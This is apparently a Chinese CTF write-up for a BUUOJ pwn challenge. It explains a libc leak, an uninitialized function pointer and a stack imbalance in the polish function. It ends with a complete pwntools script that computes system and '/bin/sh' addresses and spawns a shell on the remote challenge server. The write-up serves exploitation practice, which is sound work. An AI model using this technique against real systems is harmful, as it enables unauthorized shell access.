首先,检查一下程序的保护机制
然后,我们用IDA分析一下,功能1可以用于栈数据泄露,轻松得到glibc地址
功能5有一个函数指针,当输入为0时,其值未初始化
因此,只要能控制其指针在栈里对应的数据,就可以执行任意代码。但是sign函数的栈太低,不能依靠其他函数直接来控制,这里在IDA的伪代码里看不出来,就直接看汇编。
在polish函数中,此处存在栈不平衡的问题
在call之前,开辟了0x10的空间,而call回来后仅仅add esp,8,栈降低了8字节。这点在伪代码里是看不出来的。
也就是在S求和的过程中,每循环一次,esp就会降低8字节
然后通过push就可以往栈里写数据
由此,我们就可以在sign函数对应的位置布置下函数指针的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *from LibcSearcher import *sh = remote('node3.buuoj.cn' ,25620 ) libc = ELF('./libc-2.23_1.so' ) def show (): sh.sendlineafter('>' ,'1' ) sh.recvuntil('Your note: ' ) def do_sum (data ): sh.sendlineafter('>' ,'2' ) sh.sendlineafter('Operator:' ,'S' ) for x in data: sh.sendlineafter('Operand:' ,str (x)) sh.sendlineafter('Operand:' ,'.' ) def getShell (): sh.sendlineafter('>' ,'5' ) sh.sendline('0' ) show() sh.recv(8 ) _IO_2_1_stdout_addr = u32(sh.recv(4 )) libc_base = _IO_2_1_stdout_addr - libc.sym['_IO_2_1_stdout_' ] system_addr = libc_base + libc.sym['system' ] binsh_addr = libc_base + libc.search('/bin/sh' ).next () print 'libc_base=' ,hex (libc_base)print 'system_addr=' ,hex (system_addr)print 'binsh_addr=' ,hex (binsh_addr)data = [] for i in range (0x63 ): data.append(i) data.append(system_addr - 0x100000000 ) data.append(binsh_addr - 0x100000000 ) do_sum(data) getShell() sh.interactive()